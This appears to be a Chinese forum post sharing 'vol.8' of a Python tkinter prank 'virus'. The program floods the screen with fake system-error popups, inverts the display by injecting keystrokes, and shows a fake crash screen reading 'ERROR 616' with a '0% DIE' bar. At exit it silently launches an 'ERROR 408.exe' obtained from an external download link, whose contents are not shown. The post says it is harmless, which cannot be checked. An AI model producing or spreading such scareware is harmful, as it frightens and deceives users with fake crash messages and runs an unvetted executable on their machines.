python病毒 vol.8
2025-09-14 13:17:59
发布于:广东
import tkinter as tk
import random
import platform
import subprocess
import os
import time
import threading
import ctypes
from ctypes import wintypes
class Popup:
_all_popups = []
def __init__(self, root, window_id):
self.root = root
self.window_id = window_id
def close(self):
if self.root and self.root.winfo_exists():
self.root.destroy()
if 0 <= self.window_id < len(Popup._all_popups):
Popup._all_popups[self.window_id] = None
Popup._all_popups = [p for p in Popup._all_popups if p is not None]
class ScreenInverter:
_instance = None
_is_inverted = False
_platform = platform.system()
@staticmethod
def get_instance(root):
if ScreenInverter._instance is None:
ScreenInverter._instance = ScreenInverter(root)
return ScreenInverter._instance
def __init__(self, root):
self.root = root
self._overlay = None
if self._platform == "Windows":
self._user32 = ctypes.windll.user32
class KBDINPUT(ctypes.Structure):
_fields_ = [("wVk", ctypes.c_ushort), ("wScan", ctypes.c_ushort),
("dwFlags", ctypes.c_ulong), ("time", ctypes.c_ulong),
("dwExtraInfo", ctypes.POINTER(ctypes.c_ulong))]
class INPUT(ctypes.Structure):
_fields_ = [("type", ctypes.c_ulong), ("ki", KBDINPUT)]
self._KBDINPUT = KBDINPUT
self._INPUT = INPUT
self._INPUT_KEYBOARD = 1
self._KEYEVENTF_KEYUP = 2
self._VK_LWIN = 0x5B
self._VK_CONTROL = 0x11
self._VK_I = 0x49
def invert_screen(self, duration_ms):
threading.Thread(target=self._invert_and_restore, args=(duration_ms,), daemon=True).start()
def _invert_and_restore(self, duration_ms):
self._enable_inversion()
time.sleep(duration_ms / 1000.0)
self._disable_inversion()
def _enable_inversion(self):
if self._platform == "Windows":
self._send_key_combo([self._VK_LWIN, self._VK_CONTROL, self._VK_I])
else:
self._fallback_invert()
def _disable_inversion(self):
if self._platform == "Windows":
self._send_key_combo([self._VK_LWIN, self._VK_CONTROL, self._VK_I])
elif self._overlay and self._overlay.winfo_exists():
self._overlay.destroy()
def _send_key_combo(self, vk_codes):
extra_info = ctypes.pointer(ctypes.c_ulong(0))
inputs = []
for vk in vk_codes:
ki = self._KBDINPUT(vk, 0, 0, 0, extra_info)
inputs.append(self._INPUT(self._INPUT_KEYBOARD, ki))
time.sleep(0.1)
for vk in reversed(vk_codes):
ki = self._KBDINPUT(vk, 0, self._KEYEVENTF_KEYUP, 0, extra_info)
inputs.append(self._INPUT(self._INPUT_KEYBOARD, ki))
time.sleep(0.1)
ctypes_array = (self._INPUT * len(inputs))(*inputs)
self._user32.SendInput(len(inputs), ctypes.byref(ctypes_array), ctypes.sizeof(self._INPUT))
def _fallback_invert(self):
if self._overlay and self._overlay.winfo_exists():
self._overlay.destroy()
self._overlay = tk.Toplevel(self.root)
self._overlay.attributes('-fullscreen', True)
self._overlay.attributes('-alpha', 0.5)
self._overlay.configure(bg='black')
self._overlay.overrideredirect(True)
self._overlay.lift()
self._overlay.attributes('-topmost', True)
def get_screen_info():
root = tk.Tk()
root.withdraw()
info = {"width": root.winfo_screenwidth(), "height": root.winfo_screenheight()}
root.destroy()
return info
def lonlat_to_window(lon, lat, win_width, win_height):
screen = get_screen_info()
scr_center_x, scr_center_y = screen["width"]/2, screen["height"]/2
lon_factor = (screen["width"] * 0.8)/360
lat_factor = (screen["height"] * 0.8)/720
center_x = scr_center_x + lon * lon_factor
center_y = scr_center_y + lat * lat_factor
left_x = int(center_x - win_width/2)
top_y = int(center_y - win_height/2)
left_x = max(10, min(left_x, screen["width"] - win_width - 10))
top_y = max(10, min(top_y, screen["height"] - win_height - 10))
return left_x, top_y
def mgx(x, y, n, message="ERROR", title="系统错误", size="m"):
screen = get_screen_info()
root = tk.Toplevel()
root.title(title)
if size == "b":
win_width = int(screen["width"]/2)
win_height = int(screen["height"]/2)
elif size == "o":
win_width = screen["width"]
win_height = screen["height"]
root.attributes('-fullscreen', True)
else:
win_width = int(min(300, screen["width"] * 0.25))
win_height = int(min(180, screen["height"] * 0.2))
if size != "o":
left_x, top_y = lonlat_to_window(x, y, win_width, win_height)
root.geometry(f"{win_width}x{win_height}+{left_x}+{top_y}")
root.attributes("-topmost", True)
root.resizable(False, False)
scale_ratio = min(screen["width"]/1920, screen["height"]/1080)
base_font_size = 14 if size == "m" else (20 if size == "b" else 28)
err_font = max(10, int(base_font_size * scale_ratio))
btn_font = max(8, int((base_font_size - 4) * scale_ratio))
main_frame = tk.Frame(root, padx=int(15 * scale_ratio), pady=int(15 * scale_ratio))
main_frame.pack(fill="both", expand=True)
msg_label = tk.Label(
main_frame, text=message, font=("SimHei", err_font, "bold"),
fg="#E63946", wraplength=win_width-30 if size != "o" else screen["width"]-60,
justify="center", pady=int(12 * scale_ratio)
)
msg_label.pack(fill="both", expand=True)
if size != "o":
btn_frame = tk.Frame(main_frame)
btn_frame.pack(pady=int(8 * scale_ratio))
tk.Button(
btn_frame, text="关闭", command=root.destroy,
width=8, height=1, font=("SimHei", btn_font),
bg="#E63946", fg="white", relief=tk.RAISED, bd=2
).pack()
root.protocol("WM_DELETE_WINDOW", root.destroy)
root.update_idletasks()
root.deiconify()
window_id = len(Popup._all_popups)
Popup._all_popups.append(Popup(root, window_id))
return root, n
def create_windows11_blue_screen(root, duration=5000):
# 蓝屏窗口背景改为黑色
bsod = tk.Toplevel(root)
bsod.attributes('-fullscreen', True)
bsod.configure(bg='black')
bsod.overrideredirect(True)
bsod.attributes('-topmost', True)
screen_width = bsod.winfo_screenwidth()
screen_height = bsod.winfo_screenheight()
main_frame = tk.Frame(bsod, bg='black')
main_frame.pack(fill="both", expand=True, padx=50, pady=30)
font_size = min(120, int(screen_height / 6))
face_label = tk.Label(
main_frame, text="ERROR 616", font=("Segoe UI", font_size, "bold"),
fg="red", bg='black'
)
face_label.pack(pady=(screen_height // 6, 30))
error_font_size = min(24, int(screen_width / 60))
error_label = tk.Label(
main_frame, text="“❄☟☜ 👎✌☼😐 💧✋👎☜ ☝☼✌👎🕆✌☹☹✡ ☜💣☜☼☝☜👎📪 ✌☠👎 ❄☟☜ ❄✋💣☜☹✋☠☜ 👌☜👍✌💣☜ 🕆☠💧❄✌👌☹☜”",
font=("Segoe UI", error_font_size), fg="red", bg='black',
wraplength=screen_width * 0.8, justify="center"
)
error_label.pack(pady=20)
progress_frame = tk.Frame(main_frame, bg='black', height=10)
progress_frame.pack(fill="x", padx=screen_width * 0.2, pady=20)
progress_bar = tk.Canvas(progress_frame, bg='#333333', highlightthickness=0)
progress_bar.pack(fill="both", expand=True)
progress_rect = progress_bar.create_rectangle(0, 0, 0, progress_frame.winfo_reqheight(),
fill='red', outline='')
progress_font_size = min(16, int(screen_width / 80))
progress_text = tk.Label(
main_frame, text="0% DIE", font=("Segoe UI", progress_font_size),
fg="red", bg='black'
)
progress_text.pack(pady=10)
def update_progress(current_percent=0):
if not bsod.winfo_exists():
return
progress_width = progress_frame.winfo_width() * current_percent / 100
progress_bar.coords(progress_rect, 0, 0, progress_width, progress_frame.winfo_reqheight())
progress_text.config(text=f"{current_percent}% DIE")
if current_percent < 100:
root.after(duration // 100, update_progress, current_percent + 1)
update_progress()
root.after(duration, close_all_popups_and_quit, root)
def close_all_windows(root):
for popup in Popup._all_popups[:]:
if popup:
popup.close()
inverter = ScreenInverter.get_instance(root)
if inverter._overlay and inverter._overlay.winfo_exists():
inverter._overlay.destroy()
for child in root.winfo_children():
if child.winfo_class() == 'Toplevel' and child.cget('bg') == 'black':
if child.winfo_exists():
child.destroy()
if root.winfo_exists():
root.destroy()
def close_all_popups_and_quit(root):
exe_path = "ERROR 408.exe"
try:
if os.path.exists(exe_path):
subprocess.Popen(exe_path, shell=True, creationflags=subprocess.CREATE_NEW_CONSOLE)
else:
subprocess.Popen(exe_path, shell=True, creationflags=subprocess.CREATE_NEW_CONSOLE)
except Exception:
pass
time.sleep(0.1)
close_all_windows(root)
root.quit()
def create_popups_in_batches(popup_data, batch_size=4, index=0, root=None, inverter=None):
if index >= len(popup_data):
root.after(1000, lambda: create_windows11_blue_screen(root))
return
batch = popup_data[index:index + batch_size]
popups_in_batch = []
commands_in_batch = []
for item in batch:
if isinstance(item, tuple) and len(item) >= 5:
popups_in_batch.append(item)
elif callable(item) and item.__name__ == 'fanse':
commands_in_batch.append(item)
for cmd in commands_in_batch:
duration = cmd()
inverter.invert_screen(duration)
max_delay = max(item[2] for item in popups_in_batch) if popups_in_batch else 0
def create_batch_popups():
for item in popups_in_batch:
x, y, n, message, title = item[:5]
size = item[5] if len(item) > 5 else "m"
mgx(x, y, n, message, title, size)
root.update_idletasks()
create_batch_popups()
root.after(max_delay + 300, create_popups_in_batches, popup_data, batch_size,
index + batch_size, root, inverter)
def fanse(n):
def execute_fanse():
return n
execute_fanse.__name__ = 'fanse'
return execute_fanse
if __name__ == "__main__":
root = tk.Tk()
root.withdraw()
inverter = ScreenInverter.get_instance(root)
popup_data = [
(180, 360, 40, "11110000 10011111 10010110 10000010 11100010 10011100 10100001 11100010 10011010 10010000 11110000 10011111 10010101 10000110 00100000 11100010 10011000 10011101 11100010 10011010 10010000 11100010 10011101 10000100 00100000 11100010 10011000 10111001 11100010 10011010 10010000 11110000 10011111 10010010 10100111 11100010 10011101 10000100 11100010 10011100 10001111", "CRITICAL", "o"),
(-180, -360, 50, "ERROR", "系统错误"),
(180, -360, 50, "ERROR", "系统错误"),
(-180, 360, 50, "ERROR", "系统错误"),
(180, 360, 50, "ERROR", "系统错误"),
(-140, -320, 0, "ERROR", "系统错误"),
(140, -320, 0, "ERROR", "系统错误"),
(-140, 320, 0, "ERROR", "系统错误"),
(140, 320, 0, "ERROR", "系统错误"),
(-100, -300, 50, "ERROR", "系统错误"),
(100, -300, 0, "ERROR", "系统错误"),
(-100, 300, 0, "ERROR", "系统错误"),
(100, 300, 0, "ERROR", "系统错误"),
(0, 0, 50, "ERROR", "系统错误"),
(0, 100, 0, "ERROR", "系统错误"),
(0, -100, 0, "ERROR", "系统错误"),
(100, 0, 0, "ERROR", "系统错误"),
(-100, 0, 0, "ERROR", "系统错误"),
(0, 200, 50, "ERROR", "系统错误"),
(0, -200, 0, "ERROR", "系统错误"),
(180, 0, 0, "ERROR", "系统错误"),
(-180, 0, 0, "ERROR", "系统错误"),
(0, 300, 50, "ERROR", "系统错误"),
(0, -300, 0, "ERROR", "系统错误"),
(10, 0, 0, "ERROR", "系统错误"),
(-10, 0, 0, "ERROR", "系统错误"),
(-180, -360, 200, "系统错误", "警告", "m"),
(180, -360, 0, "内存不足", "警告", "b"), # time=0,与下一个同时显示
(-180, 360, 0, "磁盘错误", "警告", "m"), # time=0,与上一个同时显示
(180, 360, 300, "系统崩溃", "CRITICAL", "o"),
(-140, -320, 0, "网络错误", "警告", "m"), # time=0,与下一个同时显示
(140, -320, 0, "程序异常", "警告", "b"), # time=0,与上一个同时显示
(-140, 320, 200, "系统错误", "警告", "m"),
(140, 320, 0, "数据丢失", "ERROR", "o"), # time=0,与下一个同时显示
(-100, -300, 0, "硬件故障", "警告", "m"), # time=0,与上一个同时显示
(100, -300, 200, "系统错误", "警告", "b"),
(-100, 300, 0, "文件损坏", "警告", "m"), # time=0,与下一个同时显示
(100, 300, 0, "驱动程序错误", "警告", "b"), # time=0,与上一个同时显示
(0, 0, 500, "严重系统错误", "CRITICAL", "o"),
*[(random.uniform(-180, 180), random.uniform(-360, 360),
random.choice([0, 50, 100]), "系统错误", "警告", random.choice(["m", "b"])) for _ in range(10)],
fanse(2000),
(-180, -360, 0, "ERROR", "系统错误"), # 显示2秒
(180, -360, 0, "ERROR", "系统错误"),
(-180, 360, 0, "ERROR", "系统错误"),
(180, 360, 0, "ERROR", "系统错误"),
(-140, -320, 20, "ERROR", "系统错误"),
(140, -320, 20, "ERROR", "系统错误"),
(-140, 320, 20, "ERROR", "系统错误"),
(140, 320, 20, "ERROR", "系统错误"),
# 更多弹窗...
(-180, -360, 30, "系统错误", "警告", "m"),
(180, -360, 30, "内存不足", "警告", "b"),
(-180, 360, 30, "磁盘错误", "警告", "m"),
# 随机弹窗
*[(random.uniform(-180, 180), random.uniform(-360, 360),
2000, "系统错误", "警告", random.choice(["m", "b"])) for _ in range(10)],
fanse(2000),
]
root.after(100, lambda: create_popups_in_batches(popup_data, 4, 0, root, inverter))
root.mainloop()
只是一个观赏类病毒,不会对电脑造成伤害!
程序"会"自动退出,可以放心运行
最后有好东西
更新日志
.vol.1 25/6/21 基本引擎
.vol.2 25/6/22 加内容
.vol.3 25/6/22 改bug
.vol.4 25/6/22 还是改bug
.vol.5 25/6/23 加内容
.vol.5 25/6/26 还是加内容
.vol.6 25/9/14 改bug
.vol.7 25/9/14 加了个好东西
.vol.8 25/9/14 改内容
文件下载链接:https://wws.lanzout.com/iBIBg0881tna(代码以外の文件)
全部评论 1
6
2025-09-14 来自 上海
1



















有帮助,赞一个